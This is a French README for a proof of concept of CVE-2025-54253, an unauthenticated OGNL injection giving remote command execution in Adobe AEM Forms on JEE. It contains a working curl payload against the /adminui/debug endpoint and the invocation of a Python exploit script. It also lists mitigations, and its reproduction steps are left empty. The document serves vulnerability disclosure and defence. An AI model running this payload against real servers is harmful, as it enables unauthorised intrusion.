🚨 CVE-2025-54253 – Injection OGNL vers RCE sur Adobe AEM Forms on JEE

🔎 Vue d'ensemble

CVE-2025-54253 est une vulnérabilité critique d'injection OGNL affectant Adobe AEM Forms on JEE. Elle permet à des attaquants non authentifiés d'exécuter des commandes système arbitraires via le point de terminaison /adminui/debug?debug=OGNL:.

• Sévérité : Critique
• Score CVSS : 9.8 (En attente)
• Vecteur d'attaque : Réseau
• Authentification requise : Non
• Produit concerné : Adobe AEM Forms on JEE (<= 6.5.23.0)
• Statut : Exploitabilité confirmée

🧠 Détails techniques

Cette vulnérabilité réside dans une interface de débogage exposée qui évalue des expressions OGNL contrôlées par l'utilisateur sans assainissement ni authentification appropriés. Son exploitation peut mener à une exécution de code à distance dans le contexte du serveur d'applications.

📝 Remarque : Cette vulnérabilité affecte les installations qui exposent le point de terminaison /adminui/debug publiquement ou en interne, sans contrôle d'accès approprié.

🧪 Preuve de concept (PoC)

🔸 Vecteur de payload HTTP

Des expressions OGNL simples démontrent l'exécution de commandes via le navigateur ou curl.

curl "http://localhost:4502/adminui/debug?debug=OGNL:whoami"

📄 Script du PoC

cve-2025-54253-poc.py

python3 poc/cve-2025-54253-poc.py --url http://127.0.0.1:4502 --cmd "whoami"

🧾 Exemple de journal d'exploitation

Le script journalise la sortie de l'exécution des commandes dans exploit.log :

exploit.log

🛠️ Étapes de reproduction

1. Configurez une instance Adobe AEM vulnérable (<= 6.5.23.0).

2. Démarrez le serveur Flask (en cas de simulation locale) :
   

3. Exécutez OGNL via le navigateur :
   

4. Exécutez via curl :
   

5. Sortie des commandes :
   
   
   

6. Vue des journaux Flask :
   

7. Exécution du script PoC :
   

8. Vue détaillée du journal :
   

🧰 Outils et technologies utilisés

• Python (scripting du PoC)
• Flask (serveur simulé)
• Kali Linux
• curl et navigateur
• GitHub (publication du PoC)

✅ Atténuation

• Restreignez l'accès à /adminui/debug
• Appliquez les correctifs du fournisseur dès qu'ils sont disponibles
• Surveillez les journaux d'accès pour détecter des expressions OGNL non autorisées
• Utilisez un WAF ou un filtrage par proxy pour bloquer ces motifs

⚠️ Avertissement :
Ce PoC est fourni à des fins éducatives uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.

👨‍💻 Auteur

Shivshant Patil
Certified Ethical Hacker (CEH v13)
Diplômé d'un B.Tech en ingénierie informatique
🔗 LinkedIn
🔗 GitHub

📚 Références

• 🔗 Avis de sécurité Adobe (espace réservé)
• 🔗 Entrée NVD - CVE-2025-54253
• 🔗 Exploit Database